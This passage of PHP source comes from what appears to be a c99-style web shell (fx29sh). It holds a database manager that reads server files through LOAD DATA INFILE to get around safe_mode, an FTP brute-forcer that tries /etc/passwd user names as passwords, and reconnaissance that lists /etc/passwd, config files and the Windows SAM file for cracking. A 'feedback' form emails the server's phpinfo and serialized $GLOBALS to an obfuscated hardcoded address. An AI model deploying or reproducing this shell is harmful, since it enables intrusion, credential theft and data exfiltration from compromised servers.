  1502. foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1503. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1504. echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1505. $i = 0;
  1506. foreach ($row as $k=>$v)
  1507. {
  1508. $v = htmlspecialchars($v);
  1509. if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1510. echo "<td>".$v."</td>";
  1511. $i++;
  1512. }
  1513. echo "<td>";
  1514. echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1515. echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1516. echo "</td>";
  1517. echo "</tr>";
  1518. }
  1519. mysql_free_result($result);
  1520. echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1521. echo "<option value=\"\">With selected:</option>";
  1522. echo "<option value=\"deleterow\">Delete</option>";
  1523. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1524. }
  1525. }
  1526. else {
  1527. $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1528. if (!$result) {echo mysql_smarterror();}
  1529. else
  1530. {
  1531. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1532. $i = 0;
  1533. $tsize = $trows = 0;
  1534. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1535. {
  1536. $tsize += $row["Data_length"];
  1537. $trows += $row["Rows"];
  1538. $size = view_size($row["Data_length"]);
  1539. echo "<tr>";
  1540. echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1541. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1542. echo "<td>".$row["Rows"]."</td>";
  1543. echo "<td>".$row["Type"]."</td>";
  1544. echo "<td>".$row["Create_time"]."</td>";
  1545. echo "<td>".$row["Update_time"]."</td>";
  1546. echo "<td>".$size."</td>";
  1547. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1548. echo "</tr>";
  1549. $i++;
  1550. }
  1551. echo "<tr bgcolor=\"000000\">";
  1552. echo "<td><center><b>+</b></center></td>";
  1553. echo "<td><center><b>".$i." table(s)</b></center></td>";
  1554. echo "<td><b>".$trows."</b></td>";
  1555. echo "<td>".$row[1]."</td>";
  1556. echo "<td>".$row[10]."</td>";
  1557. echo "<td>".$row[11]."</td>";
  1558. echo "<td><b>".view_size($tsize)."</b></td>";
  1559. echo "<td></td>";
  1560. echo "</tr>";
  1561. echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1562. echo "<option value=\"\">With selected:</option>";
  1563. echo "<option value=\"tbldrop\">Drop</option>";
  1564. echo "<option value=\"tblempty\">Empty</option>";
  1565. echo "<option value=\"tbldump\">Dump</option>";
  1566. echo "<option value=\"tblcheck\">Check table</option>";
  1567. echo "<option value=\"tbloptimize\">Optimize table</option>";
  1568. echo "<option value=\"tblrepair\">Repair table</option>";
  1569. echo "<option value=\"tblanalyze\">Analyze table</option>";
  1570. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1571. mysql_free_result($result);
  1572. }
  1573. }
  1574. }
  1575. }
  1576. }
  1577. else {
  1578. $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1579. if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1580. if (!empty($sql_act)) {
  1581. echo "<hr size=\"1\" noshade>";
  1582. if ($sql_act == "newdb") {
  1583. echo "<b>";
  1584. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1585. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1586. }
  1587. if ($sql_act == "serverstatus") {
  1588. $result = mysql_query("SHOW STATUS", $sql_sock);
  1589. echo "<center><b>Server-status variables:</b><br><br>";
  1590. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1591. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1592. echo "</table></center>";
  1593. mysql_free_result($result);
  1594. }
  1595. if ($sql_act == "servervars") {
  1596. $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1597. echo "<center><b>Server variables:</b><br><br>";
  1598. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1599. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1600. echo "</table>";
  1601. mysql_free_result($result);
  1602. }
  1603. if ($sql_act == "processes") {
  1604. if (!empty($kill)) {
  1605. $query = "KILL ".$kill.";";
  1606. $result = mysql_query($query, $sql_sock);
  1607. echo "<b>Process #".$kill." was killed.</b>";
  1608. }
  1609. $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1610. echo "<center><b>Processes:</b><br><br>";
  1611. echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1612. while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1613. echo "</table>";
  1614. mysql_free_result($result);
  1615. }
  1616. if ($sql_act == "getfile")
  1617. {
  1618. $tmpdb = $sql_login."_tmpdb";
  1619. $select = mysql_select_db($tmpdb);
  1620. if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1621. if ($select)
  1622. {
  1623. $created = FALSE;
  1624. mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1625. mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1626. $result = mysql_query("SELECT * FROM tmp_file;");
  1627. if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1628. else
  1629. {
  1630. for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1631. $f = "";
  1632. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1633. if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1634. else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1635. mysql_free_result($result);
  1636. mysql_query("DROP TABLE tmp_file;");
  1637. }
  1638. }
  1639. mysql_drop_db($tmpdb); //comment it if you want to leave database
  1640. }
  1641. }
  1642. }
  1643. }
  1644. echo "</td></tr></table>";
  1645. if ($sql_sock) {
  1646. $affected = @mysql_affected_rows($sql_sock);
  1647. if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1648. echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1649. }
  1650. echo "</table>";
  1651. }
  1652. //End of SQL Manager
  1653. if ($act == "ftpquickbrute") {
  1654. echo "<center><table><tr><td class=barheader colspan=2>";
  1655. echo ".: Ftp Quick Brute :.</td></tr>";
  1656. echo "<tr><td>";
  1657. if ($win) {echo "Couldn't run on Windows!";}
  1658. else {
  1659. function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  1660. if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1661. else {$TRUE = TRUE;}
  1662. if ($TRUE) {
  1663. $sock = @ftp_connect($host,$port,$timeout);
  1664. if (@ftp_login($sock,$login,$pass)) {
  1665. echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1666. ob_flush();
  1667. return TRUE;
  1668. }
  1669. }
  1670. }
  1671. if (!empty($submit)) {
  1672. if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1673. $fp = fopen("/etc/passwd","r");
  1674. if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1675. else {
  1676. if ($fqb_logging) {
  1677. if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1678. else {$fqb_logfp = FALSE;}
  1679. $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1680. if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1681. }
  1682. ob_flush();
  1683. $i = $success = 0;
  1684. $ftpquick_st = getmicrotime();
  1685. while(!feof($fp)) {
  1686. $str = explode(":",fgets($fp,2048));
  1687. if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  1688. echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1689. $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1690. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1691. $success++;
  1692. ob_flush();
  1693. }
  1694. if ($i > $fqb_lenght) {break;}
  1695. $i++;
  1696. }
  1697. if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1698. $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1699. echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1700. $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1701. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1702. if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  1703. fclose($fqb_logfp);
  1704. }
  1705. }
  1706. else {
  1707. $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1708. $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1709. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
  1710. "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  1711. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  1712. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  1713. "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  1714. "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  1715. "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  1716. }
  1717. echo "</td></tr></table></center>";
  1718. }
  1719. }
  1720. if ($act == "d") {
  1721. if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  1722. else {
  1723. echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1724. if (!$win) {
  1725. echo "<tr><td><b>Owner/Group</b></td><td> ";
  1726. $ow = posix_getpwuid(fileowner($d));
  1727. $gr = posix_getgrgid(filegroup($d));
  1728. $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1729. }
  1730. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  1731. }
  1732. }
  1733. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1734. if ($act == "security") {
  1735. echo "<div class=barheader>.: Server Security Information :.</div>".
  1736. "<table>".
  1737. "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  1738. echo "<td>Password File</td><td>";
  1739. if (!$win) {
  1740. if ($nixpasswd) {
  1741. if ($nixpasswd == 1) {$nixpasswd = 0;}
  1742. echo "*nix /etc/passwd:<br>";
  1743. if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1744. if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1745. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1746. $i = $nixpwd_s;
  1747. while ($i < $nixpwd_e) {
  1748. $uid = posix_getpwuid($i);
  1749. if ($uid) {
  1750. $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1751. echo join(":",$uid)."<br>";
  1752. }
  1753. $i++;
  1754. }
  1755. }
  1756. else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  1757. }
  1758. else {
  1759. $v = $_SERVER["WINDIR"]."\repair\sam";
  1760. if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
  1761. else {echo "You can crack Windows passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  1762. }
  1763. echo "</td></tr>";
  1764. echo "<tr><td>Config Files</td><td>";
  1765. if (!$win) {
  1766. $v = array(
  1767. array("User Domains","/etc/userdomains"),
  1768. array("Cpanel Config","/var/cpanel/accounting.log"),
  1769. array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1770. array("Apache Config","/etc/httpd.conf"),
  1771. array("Syslog Config","/etc/syslog.conf"),
  1772. array("Message of The Day","/etc/motd"),
  1773. array("Hosts","/etc/hosts")
  1774. );
  1775. $sep = "/";
  1776. }
  1777. else {
  1778. $windir = $_SERVER["WINDIR"];
  1779. $etcdir = $windir . "\system32\drivers\etc\\";
  1780. $v = array(
  1781. array("Hosts",$etcdir."hosts"),
  1782. array("Local Network Map",$etcdir."networks"),
  1783. array("LM Hosts",$etcdir."lmhosts.sam"),
  1784. );
  1785. $sep = "\\";
  1786. }
  1787. foreach ($v as $sec_arr) {
  1788. $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1789. $sec_d = rtrim($sec_arr[1],$sec_f);
  1790. $sec_full = $sec_d.$sec_f;
  1791. $sec_d = rtrim($sec_d,$sep);
  1792. if (file_get_contents($sec_full)) {
  1793. echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
  1794. }
  1795. }
  1796. echo "</td></tr>";
  1797.  
  1798. function displaysecinfo($name,$value) {
  1799. if (!empty($value)) {
  1800. echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
  1801. }
  1802. }
  1803. if (!$win) {
  1804. displaysecinfo("OS Version",myshellexec("cat /proc/version"));
  1805. displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
  1806. displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
  1807. displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
  1808. displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
  1809. displaysecinfo("RAM",myshellexec("free -m"));
  1810. displaysecinfo("HDD Space",myshellexec("df -h"));
  1811. displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1812. displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
  1813. displaysecinfo("cURL installed?",myshellexec("which curl"));
  1814. displaysecinfo("lynx installed?",myshellexec("which lynx"));
  1815. displaysecinfo("links installed?",myshellexec("which links"));
  1816. displaysecinfo("fetch installed?",myshellexec("which fetch"));
  1817. displaysecinfo("GET installed?",myshellexec("which GET"));
  1818. displaysecinfo("perl installed?",myshellexec("which perl"));
  1819. displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
  1820. displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1821. displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1822. displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
  1823. displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
  1824. displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1825. }
  1826. else {
  1827. displaysecinfo("OS Version",myshellexec("ver"));
  1828. displaysecinfo("Account Settings",myshellexec("net accounts"));
  1829. }
  1830. echo "</table>\n";
  1831. }
  1832. if ($act == "mkfile") {
  1833. if ($mkfile != $d) {
  1834. if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  1835. elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  1836. else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1837. }
  1838. else {$act = $dspact = "ls";}
  1839. }
  1840. if ($act == "encoder") {
  1841. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  1842. "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  1843. "<input type=hidden name=act value=encoder>".
  1844. "<center><table class=contents>".
  1845. "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  1846. "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  1847. "<input type=submit value=\"calculate\"></td></tr>".
  1848. "<tr><td rowspan=4>Hashes:</td>";
  1849. foreach(array("md5","crypt","sha1","crc32") as $v) {
  1850. echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  1851. }
  1852. echo "</tr>".
  1853. "<tr><td rowspan=2>Url:</td>".
  1854. "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  1855. "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  1856. "<tr><td rowspan=2>Base64:</td>".
  1857. "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  1858. "<tr><td>base64_decode:</td><td>";
  1859. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  1860. else {
  1861. $debase64 = base64_decode($encoder_input);
  1862. $debase64 = str_replace("\0","[0]",$debase64);
  1863. $a = explode("\r\n",$debase64);
  1864. $rows = count($a);
  1865. $debase64 = htmlspecialchars($debase64);
  1866. if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  1867. else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  1868. echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  1869. }
  1870. echo "</td></tr>".
  1871. "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1872. $c = strlen($encoder_input);
  1873. for($i=0;$i<$c;$i++) {
  1874. $hex = dechex(ord($encoder_input[$i]));
  1875. if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1876. elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1877. }
  1878. echo "\" readonly></td></tr></table></center></form>";
  1879. }
  1880. if ($act == "fsbuff") {
  1881. $arr_copy = $sess_data["copy"];
  1882. $arr_cut = $sess_data["cut"];
  1883. $arr = array_merge($arr_copy,$arr_cut);
  1884. if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  1885. else {
  1886. $fx_infohead = "File-System Buffer";
  1887. $ls_arr = $arr;
  1888. $disp_fullpath = TRUE;
  1889. $act = "ls";
  1890. }
  1891. }
  1892. if ($act == "selfremove") {
  1893. if (($submit == $rndcode) and ($submit != "")) {
  1894. if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; c99shexit(); }
  1895. else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1896. }
  1897. else {
  1898. if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  1899. $rnd = rand(0,9).rand(0,9).rand(0,9);
  1900. echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1901. }
  1902. }
  1903. if ($act == "update") { //Update c99Shell
  1904. $ret = c99sh_getupdate(!!$confirmupdate);
  1905. echo "<b>".$ret."</b>";
  1906. if (stristr($ret,"new version")) {
  1907. echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  1908. }
  1909. }
  1910. if ($act == "feedback") {
  1911. $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t");
  1912. if (!empty($submit)){
  1913. $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1914. $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1915. if (!empty($fdbk_ref)) {
  1916. $tmp = @ob_get_contents();
  1917. ob_clean();
  1918. phpinfo();
  1919. $phpinfo = base64_encode(ob_get_contents());
  1920. ob_clean();
  1921. echo $tmp;
  1922. $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1923. }
  1924. mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1925. echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1926. }
  1927. else {
  1928. echo "<form action=\"".$surl."\" method=POST>".
  1929. "<input type=hidden name=act value=feedback>".
  1930. "<table class=contents><tr><td class=barheader colspan=2>".
  1931. ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
  1932. "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
  1933. "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
  1934. "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
  1935. "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
  1936. "*Language: English, Indonesian.</td></tr>".
  1937. "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1938. "</table>";
  1939. }
  1940. }
  1941. if ($act == "fxmailer") {
  1942. if (!empty($submit)){
  1943. $headers = 'To: '.$dest_email."\r\n";
  1944. $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
  1945. if (mail($suppmail,$sender_subj,$sender_body,$header)) {
  1946. echo "<center><b>Email sent!</b></center>";
  1947. }
  1948. else { echo "<center><b>Couldn't send email!</b></center>"; }
  1949. }
  1950. else {
  1951. echo "<form action=\"".$surl."\" method=POST>".
  1952. "<input type=hidden name=act value=fxmailer>".
  1953. "<table class=contents><tr><td class=barheader colspan=2>".
  1954. ".: $sh_name Mailer :.</td></tr>".
  1955. "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
  1956. "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
